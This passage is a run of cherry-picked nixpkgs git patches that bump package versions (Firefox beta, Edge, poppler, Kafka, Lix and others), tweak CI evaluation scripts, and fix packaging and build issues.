index 86a4d8f4f592..0e7bcb3768c8 100644
--- a/pkgs/servers/apache-kafka/default.nix
+++ b/pkgs/servers/apache-kafka/default.nix
@@ -36,9 +36,9 @@ let
       nixosTest = nixosTests.kafka.base.kafka_3_8;
     };
     "3_7" = {
-      kafkaVersion = "3.7.1";
+      kafkaVersion = "3.7.2";
       scalaVersion = "2.13";
-      sha256 = "sha256-YqyuShQ92YPcfrSATVdEugxQsZm1CPWZ7wAQIOJVj8k=";
+      sha256 = "sha256-eZgLcO2D8R4so3qU1k6+QS1ImeI+YKAsJdQILzooLW8=";
       jre = jdk17_headless;
       nixosTest = nixosTests.kafka.base.kafka_3_7;
     };

From 777cdc5a8b394f640f12992209ab3655eefa7cad Mon Sep 17 00:00:00 2001
From: Niklas Korz <niklas@niklaskorz.de>
Date: Sat, 26 Jul 2025 12:12:06 +0200
Subject: [PATCH 3355/4511] buildRustPackage: warn on explicit
 useFetchCargoVendor

(cherry picked from commit 8e59ce1e26f7a77ddc9a4535b8332eaac7345a23)
---
 pkgs/build-support/rust/build-rust-package/default.nix | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/pkgs/build-support/rust/build-rust-package/default.nix b/pkgs/build-support/rust/build-rust-package/default.nix
index b978d4e6256e..305e65ea9a64 100644
--- a/pkgs/build-support/rust/build-rust-package/default.nix
+++ b/pkgs/build-support/rust/build-rust-package/default.nix
@@ -73,7 +73,11 @@ lib.extendMkDerivation {
     }@args:
 
     assert lib.assertMsg useFetchCargoVendor
-      "buildRustPackage: `useFetchCargoVendor` is non‐optional and enabled by default as of 25.05";
+      "buildRustPackage: `useFetchCargoVendor` is non‐optional and enabled by default as of 25.05, remove it";
+
+    assert lib.warnIf (args ? useFetchCargoVendor)
+      "buildRustPackage: `useFetchCargoVendor` is non‐optional and enabled by default as of 25.05, remove it"
+      true;
 
     lib.optionalAttrs (stdenv.hostPlatform.isDarwin && buildType == "debug") {
       RUSTFLAGS = "-C split-debuginfo=packed " + (args.RUSTFLAGS or "");

From 06263803737c31f4afee37442e923aa857fad04d Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Fri, 8 Aug 2025 11:56:11 +0000
Subject: [PATCH 3356/4511] firefox-beta-unwrapped: 142.0b3 -> 142.0b8

(cherry picked from commit 180bf2a7d8519da1b4c194028a6198c0e8a9aea2)
---
 .../networking/browsers/firefox/packages/firefox-beta.nix     | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
index 9b2c1ee89478..85ef3908b0fd 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
@@ -10,11 +10,11 @@
 buildMozillaMach rec {
   pname = "firefox-beta";
   binaryName = pname;
-  version = "142.0b3";
+  version = "142.0b8";
   applicationName = "Firefox Beta";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "707781fcc59798c0ecbf11532eac41f4f134f24b1d670234cf674e433525ca83fe4fff75874d1a16d2be2039959731e71a5aa56e727d2b46e5bc40f63277b188";
+    sha512 = "048325c583dc3c6716be3fcb9d793448ab6e2b18b7b5f7d6aafa76cbc9e790489f7cd59644ded4b7e7929e19021e04b21e5d11c298057bb60fe018a791494ce8";
   };
 
   meta = {

From b41a5c23a34366eec84ac288b0b179e6ca838616 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Fri, 8 Aug 2025 11:57:04 +0000
Subject: [PATCH 3357/4511] firefox-devedition-unwrapped: 142.0b3 -> 142.0b8

(cherry picked from commit 101d5a1ddce7e0ed468fd741581d87f429da8122)
---
 .../browsers/firefox/packages/firefox-devedition.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
index e93b0cfff180..50d327a69b93 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
@@ -10,13 +10,13 @@
 buildMozillaMach rec {
   pname = "firefox-devedition";
   binaryName = pname;
-  version = "142.0b3";
+  version = "142.0b8";
   applicationName = "Firefox Developer Edition";
   requireSigning = false;
   branding = "browser/branding/aurora";
   src = fetchurl {
     url = "mirror://mozilla/devedition/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "5752c77307e59ad188385bb7bbb440e01a256f437088e051d1bc74e0ccdbde4ddf68c97fdcf0401c03636293753c5e8f7132352aed5f5e9e537c96eaf8784f21";
+    sha512 = "a5a89cdbfe3e05e6d329011476d571625094546e0eb2bea4f4ce426fd8d6ce23ce51ce19fd0a4d44ea7cb134d3f6c1510dcc1403d6aab5981862845a250c9dae";
   };
 
   # buildMozillaMach sets MOZ_APP_REMOTINGNAME during configuration, but

From 037db9a08a032a1a63198278d4f7281fb2618abd Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 7 Aug 2025 16:59:45 +0200
Subject: [PATCH 3358/4511] ci/eval: fix min-free-swap report

This was checking the wrong condition, likely from a copy&pasto.

(cherry picked from commit 0a5944572275dd042453303c964130e9e6aaa0a3)
---
 ci/eval/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/ci/eval/default.nix b/ci/eval/default.nix
index 21285757a277..9de67643e709 100644
--- a/ci/eval/default.nix
+++ b/ci/eval/default.nix
@@ -167,7 +167,7 @@ let
             if [[ ! -f "$out/${evalSystem}/min-avail-memory" ]] || (( availMemory < $(<$out/${evalSystem}/min-avail-memory) )); then
               echo "$availMemory" > $out/${evalSystem}/min-avail-memory
             fi
-            if [[ ! -f $out/${evalSystem}/min-free-swap ]] || (( availMemory < $(<$out/${evalSystem}/min-free-swap) )); then
+            if [[ ! -f $out/${evalSystem}/min-free-swap ]] || (( freeSwap < $(<$out/${evalSystem}/min-free-swap) )); then
               echo "$freeSwap" > $out/${evalSystem}/min-free-swap
             fi
             sleep 4

From 2247d44f7e59fbcc790f4ecc2459d3a767a57478 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 7 Aug 2025 17:13:51 +0200
Subject: [PATCH 3359/4511] ci/eval: return min memory in megabyte

No need to return bytes in these files. Also busybox has problems to
render `free -b` with sizes > 100 GB properly in the next commit,
leading to extraction errors with awk.

(cherry picked from commit cb527a04e03a1393d54d761ce95e06c47d724b5b)
---
 ci/eval/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/ci/eval/default.nix b/ci/eval/default.nix
index 9de67643e709..018a5b092526 100644
--- a/ci/eval/default.nix
+++ b/ci/eval/default.nix
@@ -160,9 +160,9 @@ let
         # Record and print stats on free memory and swap in the background
         (
           while true; do
-            availMemory=$(free -b | grep Mem | awk '{print $7}')
-            freeSwap=$(free -b | grep Swap | awk '{print $4}')
-            echo "Available memory: $(( availMemory / 1024 / 1024 )) MiB, free swap: $(( freeSwap / 1024 / 1024 )) MiB"
+            availMemory=$(free -m | grep Mem | awk '{print $7}')
+            freeSwap=$(free -m | grep Swap | awk '{print $4}')
+            echo "Available memory: $(( availMemory )) MiB, free swap: $(( freeSwap )) MiB"
 
             if [[ ! -f "$out/${evalSystem}/min-avail-memory" ]] || (( availMemory < $(<$out/${evalSystem}/min-avail-memory) )); then
               echo "$availMemory" > $out/${evalSystem}/min-avail-memory

From 174299e35da30ae606741efd09e0718aed20fc18 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 7 Aug 2025 16:38:14 +0200
Subject: [PATCH 3360/4511] ci/eval: reduce closure size

`procps` pulls in 180 MB of systemd, but busybox also provides `kill`.
`busybox` also ships `time`, so no need for that extra dependency.

Using `nativeBuildInputs` pulls in all the -dev outputs of the listed
packages - which we don't need. We only need to run these tools, thus
map to their bin outputs.

Brings down the closure size from 500+ MB to 193 MB for the Eval job.
This probably saves ~10 seconds for the job.

(cherry picked from commit 5c697b8aea5b292be5f6abc1285cd975bbd8dd68)
---
 ci/eval/compare/default.nix |  3 ++-
 ci/eval/default.nix         | 21 +++++++++++----------
 2 files changed, 13 insertions(+), 11 deletions(-)

diff --git a/ci/eval/compare/default.nix b/ci/eval/compare/default.nix
index 5807f8ef52f7..81eebcc9adb1 100644
--- a/ci/eval/compare/default.nix
+++ b/ci/eval/compare/default.nix
@@ -122,7 +122,8 @@ let
 in
 runCommand "compare"
   {
-    nativeBuildInputs = [
+    # Don't depend on -dev outputs to reduce closure size for CI.
+    nativeBuildInputs = map lib.getBin [
       jq
       (python3.withPackages (
         ps: with ps; [
diff --git a/ci/eval/default.nix b/ci/eval/default.nix
index 018a5b092526..9887afd5e107 100644
--- a/ci/eval/default.nix
+++ b/ci/eval/default.nix
@@ -14,10 +14,9 @@
   runCommand,
   writeShellScript,
   symlinkJoin,
-  time,
-  procps,
-  nix,
+  busybox,
   jq,
+  nix,
 }:
 
 let
@@ -48,9 +47,10 @@ let
     runCommand "attrpaths-superset.json"
       {
         src = nixpkgs;
-        nativeBuildInputs = [
+        # Don't depend on -dev outputs to reduce closure size for CI.
+        nativeBuildInputs = map lib.getBin [
+          busybox
           nix
-          time
         ];
       }
       ''
@@ -131,11 +131,11 @@ let
     in
     runCommand "nixpkgs-eval-${evalSystem}"
       {
-        nativeBuildInputs = [
-          nix
-          time
-          procps
+        # Don't depend on -dev outputs to reduce closure size for CI.
+        nativeBuildInputs = map lib.getBin [
+          busybox
           jq
+          nix
         ];
         env = {
           inherit evalSystem chunkSize;
@@ -206,7 +206,8 @@ let
     }:
     runCommand "combined-eval"
       {
-        nativeBuildInputs = [
+        # Don't depend on -dev outputs to reduce closure size for CI.
+        nativeBuildInputs = map lib.getBin [
           jq
         ];
       }

From 41fff04d29021e39b44731b8e2ea040deb6ffc5f Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 7 Aug 2025 16:39:04 +0200
Subject: [PATCH 3361/4511] ci/eval: use sane defaults

Using these defaults makes it possible to just run `nix-build ci -A
eval.singleSystem` without passing additional arguments and get a sane
result back. Especially helpful when testing or debugging.

A `chunkSize` of 5000 is conservative to be able to run on systems with
less memory as well. Run-time is not impacted by that, as recent
benchmarks show.

(cherry picked from commit 75f40a150c9d1aa9869cd5de817e25129a92f78b)
---
 ci/eval/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/ci/eval/default.nix b/ci/eval/default.nix
index 9887afd5e107..2b7f59ae6b43 100644
--- a/ci/eval/default.nix
+++ b/ci/eval/default.nix
@@ -72,11 +72,11 @@ let
       # The system to evaluate.
       # Note that this is intentionally not called `system`,
       # because `--argstr system` would only be passed to the ci/default.nix file!
-      evalSystem,
+      evalSystem ? builtins.currentSystem,
       # The path to the `paths.json` file from `attrpathsSuperset`
       attrpathFile ? "${attrpathsSuperset { inherit evalSystem; }}/paths.json",
       # The number of attributes per chunk, see ./README.md for more info.
-      chunkSize,
+      chunkSize ? 5000,
       checkMeta ? true,
 
       # Don't try to eval packages marked as broken.

From ac3fc4431f31e332c3e66d04e6ee9134cccf25bc Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 9 Aug 2025 05:57:43 +0000
Subject: [PATCH 3362/4511] mount-zip: 1.8 -> 1.10

(cherry picked from commit 35e0bd89298c820c51979af75e2a495a8738ca29)
---
 pkgs/by-name/mo/mount-zip/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mo/mount-zip/package.nix b/pkgs/by-name/mo/mount-zip/package.nix
index 26cbce771521..037bc80413c0 100644
--- a/pkgs/by-name/mo/mount-zip/package.nix
+++ b/pkgs/by-name/mo/mount-zip/package.nix
@@ -14,13 +14,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "mount-zip";
-  version = "1.8";
+  version = "1.10";
 
   src = fetchFromGitHub {
     owner = "google";
     repo = "mount-zip";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-HxHXQfyX3jdTJ5s/QwC9tkjU+JbPDEm7FUGss7tB0EM=";
+    hash = "sha256-d6cjqsqIYFPuAWKxjlLXCWNKT33xbMW8gLriZWj0SSc=";
   };
 
   strictDeps = true;

From b625e6da534865fd1c2c67e2029cdabe686596ad Mon Sep 17 00:00:00 2001
From: Alois Wohlschlager <alois1@gmx-topmail.de>
Date: Sat, 19 Jul 2025 09:26:36 +0200
Subject: [PATCH 3363/4511] capnproto: fix platform offset

Due to the wrong platform offset, buildPackages.capnproto would inappropriately
depend on empty-libgcc_eh when building with dynamic build platform and static
host platform. In turn the build would fail due to the archiver not being
found.

(cherry picked from commit 8b0263aba578e2fa611a528bedcfc5cf4d5a687c)
---
 pkgs/by-name/ca/capnproto/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/ca/capnproto/package.nix b/pkgs/by-name/ca/capnproto/package.nix
index fdfb91242503..59c8a631bc2b 100644
--- a/pkgs/by-name/ca/capnproto/package.nix
+++ b/pkgs/by-name/ca/capnproto/package.nix
@@ -45,7 +45,7 @@ clangStdenv.mkDerivation rec {
     openssl
     zlib
   ]
-  ++ lib.optional (clangStdenv.cc.isClang && clangStdenv.targetPlatform.isStatic) empty-libgcc_eh;
+  ++ lib.optional (clangStdenv.cc.isClang && clangStdenv.hostPlatform.isStatic) empty-libgcc_eh;
 
   # FIXME: separate the binaries from the stuff that user systems actually use
   # This runs into a terrible UX issue in Lix and I just don't want to debug it

From ffdd32dcfc95282ff372f306636525016c84994c Mon Sep 17 00:00:00 2001
From: Alois Wohlschlager <alois1@gmx-topmail.de>
Date: Sun, 27 Jul 2025 15:30:16 +0200
Subject: [PATCH 3364/4511] lixPackageSets.*.lix: stop copying unnecessary
 boost libraries

This is basically the same as https://gerrit.lix.systems/c/lix/+/3767 upstream.

(cherry picked from commit dbe04a0b0c4ab20b199c22b51bf4663d1048fd88)
---
 pkgs/tools/package-management/lix/common-lix.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/tools/package-management/lix/common-lix.nix b/pkgs/tools/package-management/lix/common-lix.nix
index 5d11246f60c3..d5ecd9ac591b 100644
--- a/pkgs/tools/package-management/lix/common-lix.nix
+++ b/pkgs/tools/package-management/lix/common-lix.nix
@@ -228,7 +228,7 @@ stdenv.mkDerivation (finalAttrs: {
   preConfigure =
     # Copy libboost_context so we don't get all of Boost in our closure.
     # https://github.com/NixOS/nixpkgs/issues/45462
-    lib.optionalString (!enableStatic) ''
+    lib.optionalString (lib.versionOlder version "2.91" && !enableStatic) ''
       mkdir -p $out/lib
       cp -pd ${boost}/lib/{libboost_context*,libboost_thread*,libboost_system*} $out/lib
       rm -f $out/lib/*.a
@@ -298,7 +298,7 @@ stdenv.mkDerivation (finalAttrs: {
       mkdir -p $out/nix-support
       echo "file binary-dist $out/bin/nix" >> $out/nix-support/hydra-build-products
     ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    + lib.optionalString (lib.versionOlder version "2.91" && stdenv.hostPlatform.isDarwin) ''
       for lib in liblixutil.dylib liblixexpr.dylib; do
         install_name_tool \
           -change "${lib.getLib boost}/lib/libboost_context.dylib" \

From 702090798968c57f7f5679ba8cf37ce82329f73d Mon Sep 17 00:00:00 2001
From: Alois Wohlschlager <alois1@gmx-topmail.de>
Date: Sat, 12 Jul 2025 14:42:13 +0200
Subject: [PATCH 3365/4511] lixPackageSets.*.lix: omit unneeded Python packages
 when !doInstallCheck

(cherry picked from commit 098e2ec4ecd08f1927a477d7d06aec7060434fd6)
---
 .../tools/package-management/lix/common-lix.nix | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/pkgs/tools/package-management/lix/common-lix.nix b/pkgs/tools/package-management/lix/common-lix.nix
index d5ecd9ac591b..1baecc3d7be4 100644
--- a/pkgs/tools/package-management/lix/common-lix.nix
+++ b/pkgs/tools/package-management/lix/common-lix.nix
@@ -136,12 +136,17 @@ stdenv.mkDerivation (finalAttrs: {
 
   nativeBuildInputs = [
     # python3.withPackages does not splice properly, see https://github.com/NixOS/nixpkgs/issues/305858
-    (python3.pythonOnBuildForHost.withPackages (p: [
-      p.pytest
-      p.pytest-xdist
-      p.python-frontmatter
-      p.toml
-    ]))
+    (python3.pythonOnBuildForHost.withPackages (
+      p:
+      [
+        p.python-frontmatter
+        p.toml
+      ]
+      ++ lib.optionals finalAttrs.doInstallCheck [
+        p.pytest
+        p.pytest-xdist
+      ]
+    ))
     pkg-config
     flex
     jq

From 7ddb7fe62c290c554d6280178ba86ebe811987fc Mon Sep 17 00:00:00 2001
From: Alois Wohlschlager <alois1@gmx-topmail.de>
Date: Sat, 2 Aug 2025 18:13:07 +0200
Subject: [PATCH 3366/4511] lixPackageSets.*.lix: use buildPackages.python3
 instead of python3.pythonOnBuildForHost

The former seems to exhibit fewer subtle issues breaking cross (in particular
static) builds, for reasons I have not yet understood.

(cherry picked from commit cf6821c8f84fe12f6e6120bcad28295ae2d9f291)
---
 pkgs/tools/package-management/lix/common-lix.nix | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/pkgs/tools/package-management/lix/common-lix.nix b/pkgs/tools/package-management/lix/common-lix.nix
index 1baecc3d7be4..0b54e7fc615f 100644
--- a/pkgs/tools/package-management/lix/common-lix.nix
+++ b/pkgs/tools/package-management/lix/common-lix.nix
@@ -57,7 +57,7 @@ assert lib.assertMsg (
   rustc,
   toml11,
   pegtl,
-  python3,
+  buildPackages,
   pkg-config,
   rapidcheck,
   sqlite,
@@ -136,7 +136,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   nativeBuildInputs = [
     # python3.withPackages does not splice properly, see https://github.com/NixOS/nixpkgs/issues/305858
-    (python3.pythonOnBuildForHost.withPackages (
+    (buildPackages.python3.withPackages (
       p:
       [
         p.python-frontmatter
@@ -153,7 +153,6 @@ stdenv.mkDerivation (finalAttrs: {
     meson
     ninja
     cmake
-    python3
     # Required for libstd++ assertions that leaks inside of the final binary.
     removeReferencesTo
 

From 8c6084146f81789043de945f286b30a9c9694716 Mon Sep 17 00:00:00 2001
From: Alois Wohlschlager <alois1@gmx-topmail.de>
Date: Sat, 12 Jul 2025 14:42:13 +0200
Subject: [PATCH 3367/4511] lixPackageSets.git:
 2.94.0-pre-20250704_362bfd827f52 -> 2.94.0-pre-20250807_8bbd5e1d0df9

(cherry picked from commit 28a8bb174002617a6263777ae956bb609addd494)
---
 pkgs/tools/package-management/lix/common-lix.nix          | 7 +++++--
 .../tools/package-management/lix/common-nix-eval-jobs.nix | 2 +-
 pkgs/tools/package-management/lix/default.nix             | 8 ++++----
 3 files changed, 10 insertions(+), 7 deletions(-)

diff --git a/pkgs/tools/package-management/lix/common-lix.nix b/pkgs/tools/package-management/lix/common-lix.nix
index 0b54e7fc615f..01f1dc974e62 100644
--- a/pkgs/tools/package-management/lix/common-lix.nix
+++ b/pkgs/tools/package-management/lix/common-lix.nix
@@ -100,6 +100,7 @@ let
   isLegacyParser = lib.versionOlder version "2.91";
   hasDtraceSupport = lib.versionAtLeast version "2.93";
   parseToYAML = lib.versionAtLeast version "2.93";
+  usesCapnp = lib.versionAtLeast version "2.94";
 in
 # gcc miscompiles coroutines at least until 13.2, possibly longer
 # do not remove this check unless you are sure you (or your users) will not report bugs to Lix upstream about GCC miscompilations.
@@ -143,9 +144,11 @@ stdenv.mkDerivation (finalAttrs: {
         p.toml
       ]
       ++ lib.optionals finalAttrs.doInstallCheck [
+        p.aiohttp
         p.pytest
         p.pytest-xdist
       ]
+      ++ lib.optionals usesCapnp [ p.pycapnp ]
     ))
     pkg-config
     flex
@@ -177,6 +180,7 @@ stdenv.mkDerivation (finalAttrs: {
   ++ lib.optionals (hasDtraceSupport && withDtrace) [ systemtap-sdt ]
   ++ lib.optionals pastaFod [ passt ]
   ++ lib.optionals parseToYAML [ yq ]
+  ++ lib.optionals usesCapnp [ capnproto ]
   ++ lib.optionals stdenv.hostPlatform.isLinux [ util-linuxMinimal ];
 
   buildInputs = [
@@ -293,9 +297,8 @@ stdenv.mkDerivation (finalAttrs: {
       mkdir -p $devdoc/nix-support
       echo "devdoc internal-api $devdoc/share/doc/nix/internal-api" >> $devdoc/nix-support/hydra-build-products
     ''
-    + lib.optionalString (!hasExternalLixDoc) ''
+    + lib.optionalString (lib.versionOlder version "2.94" && !hasExternalLixDoc) ''
       # We do not need static archives.
-      # FIXME(Raito): why are they getting installed _at all_ ?
       rm $out/lib/liblix_doc.a
     ''
     + lib.optionalString stdenv.hostPlatform.isStatic ''
diff --git a/pkgs/tools/package-management/lix/common-nix-eval-jobs.nix b/pkgs/tools/package-management/lix/common-nix-eval-jobs.nix
index 26fdc0e2706b..48b76ca7179b 100644
--- a/pkgs/tools/package-management/lix/common-nix-eval-jobs.nix
+++ b/pkgs/tools/package-management/lix/common-nix-eval-jobs.nix
@@ -65,6 +65,6 @@ stdenv.mkDerivation {
     license = lib.licenses.gpl3;
     teams = [ lib.teams.lix ];
     platforms = lib.platforms.unix;
-    broken = stdenv.hostPlatform.isStatic;
+    broken = lib.versionOlder version "2.94" && stdenv.hostPlatform.isStatic;
   };
 }
diff --git a/pkgs/tools/package-management/lix/default.nix b/pkgs/tools/package-management/lix/default.nix
index 52e9ceb4d457..9d4a568793fb 100644
--- a/pkgs/tools/package-management/lix/default.nix
+++ b/pkgs/tools/package-management/lix/default.nix
@@ -243,20 +243,20 @@ lib.makeExtensible (self: {
     attrName = "git";
 
     lix-args = rec {
-      version = "2.94.0-pre-20250704_${builtins.substring 0 12 src.rev}";
+      version = "2.94.0-pre-20250807_${builtins.substring 0 12 src.rev}";
 
       src = fetchFromGitea {
         domain = "git.lix.systems";
         owner = "lix-project";
         repo = "lix";
-        rev = "362bfd827f522b57062e4ebcb465bb51941632a4";
-        hash = "sha256-4CVRbeYExqIDpFH+QMZb5IeUGkP6kA/zHSuExYoZygk=";
+        rev = "8bbd5e1d0df9c31b4d86ba07bc85beb952e42ccb";
+        hash = "sha256-P+WiN95OjCqHhfygglS/VOFTSj7qNdL5XQDo2wxhQqg=";
       };
 
       cargoDeps = rustPlatform.fetchCargoVendor {
         name = "lix-${version}";
         inherit src;
-        hash = "sha256-YMyNOXdlx0I30SkcmdW/6DU0BYc3ZOa2FMJSKMkr7I8=";
+        hash = "sha256-APm8m6SVEAO17BBCka13u85/87Bj+LePP7Y3zHA3Mpg=";
       };
     };
   };

From b43aaa1d487b1be893de568e1cec4101078cf4c2 Mon Sep 17 00:00:00 2001
From: Jon Hermansen <jon@jh86.org>
Date: Thu, 7 Aug 2025 20:13:16 -0400
Subject: [PATCH 3368/4511] microsoft-edge: 138.0.3351.121 -> 139.0.3405.86

(cherry picked from commit ce53065b40dc1b7c8b31875c008808343a3ff897)
---
 pkgs/by-name/mi/microsoft-edge/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mi/microsoft-edge/package.nix b/pkgs/by-name/mi/microsoft-edge/package.nix
index 74926a3f7e8c..a0de5f803673 100644
--- a/pkgs/by-name/mi/microsoft-edge/package.nix
+++ b/pkgs/by-name/mi/microsoft-edge/package.nix
@@ -178,11 +178,11 @@ in
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "microsoft-edge";
-  version = "138.0.3351.121";
+  version = "139.0.3405.86";
 
   src = fetchurl {
     url = "https://packages.microsoft.com/repos/edge/pool/main/m/microsoft-edge-stable/microsoft-edge-stable_${finalAttrs.version}-1_amd64.deb";
-    hash = "sha256-1Oi6Q2/2Pk0BG937Ij0zI7tgBSnwhPwGx34b+HlpXTU=";
+    hash = "sha256-S1/RUSwRQsBQno/I31xjw1CGs0tJpl5HRatat+wOqmE=";
   };
 
   # With strictDeps on, some shebangs were not being patched correctly

From 397612a3ff50d92003e9047bda8bcef3eb803f0d Mon Sep 17 00:00:00 2001
From: phanirithvij <phanirithvij2000@gmail.com>
Date: Thu, 5 Jun 2025 15:02:58 +0530
Subject: [PATCH 3369/4511] poppler: remove rec when using finalAttrs

Signed-off-by: phanirithvij <phanirithvij2000@gmail.com>

(cherry picked from commit d75957a3bbc310475425c9042174225c837f9473)
---
 pkgs/development/libraries/poppler/default.nix | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/pkgs/development/libraries/poppler/default.nix b/pkgs/development/libraries/poppler/default.nix
index 3cc8e2973722..bf003e8e665a 100644
--- a/pkgs/development/libraries/poppler/default.nix
+++ b/pkgs/development/libraries/poppler/default.nix
@@ -3,7 +3,6 @@
   stdenv,
   fetchurl,
   fetchFromGitLab,
-  fetchpatch,
   cairo,
   cmake,
   boost,
@@ -60,7 +59,7 @@ let
     hash = "sha256-bImTdlhMAA79kwbKPrHN3a9vVrtsgBh3rFjH3B7tEbQ=";
   };
 in
-stdenv.mkDerivation (finalAttrs: rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "poppler-${suffix}";
   version = "25.05.0"; # beware: updates often break cups-filters build, check scribus too!
 
@@ -70,7 +69,7 @@ stdenv.mkDerivation (finalAttrs: rec {
   ];
 
   src = fetchurl {
-    url = "https://poppler.freedesktop.org/poppler-${version}.tar.xz";
+    url = "https://poppler.freedesktop.org/poppler-${finalAttrs.version}.tar.xz";
     hash = "sha256-mxYnxbdoFqxeQFKgP1tgW6QLRc8GsCyt0EeWILSZqzg=";
   };
 
@@ -178,7 +177,7 @@ stdenv.mkDerivation (finalAttrs: rec {
 
   meta = {
     homepage = "https://poppler.freedesktop.org/";
-    changelog = "https://gitlab.freedesktop.org/poppler/poppler/-/blob/poppler-${version}/NEWS";
+    changelog = "https://gitlab.freedesktop.org/poppler/poppler/-/blob/poppler-${finalAttrs.version}/NEWS";
     description = "PDF rendering library";
     longDescription = ''
       Poppler is a PDF rendering library based on the xpdf-3.0 code base. In

From 367468eec47249c4fd3ede7b46d70f82186cc11a Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Sat, 12 Jul 2025 16:15:28 +0200
Subject: [PATCH 3370/4511] poppler: 25.05.0 -> 25.07.0

Fixes CVE-2025-52886.
https://securitylab.github.com/advisories/GHSL-2025-054_poppler/

Changes:
https://gitlab.freedesktop.org/poppler/poppler/-/blob/poppler-25.06.0/NEWS
https://gitlab.freedesktop.org/poppler/poppler/-/blob/poppler-25.07.0/NEWS
(cherry picked from commit f7fbe207f79f8af8529db61939e831a8c9d95351)
---
 pkgs/development/libraries/poppler/default.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/development/libraries/poppler/default.nix b/pkgs/development/libraries/poppler/default.nix
index bf003e8e665a..04b36cb31536 100644
--- a/pkgs/development/libraries/poppler/default.nix
+++ b/pkgs/development/libraries/poppler/default.nix
@@ -55,13 +55,13 @@ let
     domain = "gitlab.freedesktop.org";
     owner = "poppler";
     repo = "test";
-    rev = "91ee031c882634c36f2f0f2f14eb6646dd542fb9";
-    hash = "sha256-bImTdlhMAA79kwbKPrHN3a9vVrtsgBh3rFjH3B7tEbQ=";
+    rev = "c79c6839e859dbee6b73ac260788fa2de8618ba4";
+    hash = "sha256-j66AsBUnFpO5athVgQmf4vcyXxYcJ/plJtHg+3vXG4Y=";
   };
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "poppler-${suffix}";
-  version = "25.05.0"; # beware: updates often break cups-filters build, check scribus too!
+  version = "25.07.0"; # beware: updates often break cups-filters build, check scribus too!
 
   outputs = [
     "out"
@@ -70,7 +70,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   src = fetchurl {
     url = "https://poppler.freedesktop.org/poppler-${finalAttrs.version}.tar.xz";
-    hash = "sha256-mxYnxbdoFqxeQFKgP1tgW6QLRc8GsCyt0EeWILSZqzg=";
+    hash = "sha256-xQSpBm29/r43etU87GQf2XHulsTh6Mp05snAPUbYF64=";
   };
 
   nativeBuildInputs = [

From 271b0a7066f338fedb51f25b5a6222cdf69330a1 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Sat, 12 Jul 2025 16:51:54 +0200
Subject: [PATCH 3371/4511] inkscape: fix build with poppler 25.07.0

(cherry picked from commit 71c84e007545533be67296465d02f1bb09c58595)
---
 pkgs/applications/graphics/inkscape/default.nix | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/pkgs/applications/graphics/inkscape/default.nix b/pkgs/applications/graphics/inkscape/default.nix
index 8af3ee43bd5a..3bb56a1eab85 100644
--- a/pkgs/applications/graphics/inkscape/default.nix
+++ b/pkgs/applications/graphics/inkscape/default.nix
@@ -97,6 +97,16 @@ stdenv.mkDerivation (finalAttrs: {
       # Fix path to ps2pdf binary
       inherit ghostscript;
     })
+    (fetchpatch {
+      name = "fix-build-poppler-25.06.0.patch";
+      url = "https://gitlab.com/inkscape/inkscape/-/commit/97bd8f29a61e691ceea98ca2444b974cf4256ae0.patch";
+      hash = "sha256-bYRd/KUh/7qFb7x0EuUgQYA9P8abcTf5XS67gzaAiXA=";
+    })
+    (fetchpatch {
+      name = "fix-build-poppler-25.07.0.patch";
+      url = "https://gitlab.com/inkscape/inkscape/-/commit/ce52c5f96106ae5747171663a46831f21aa52d95.patch";
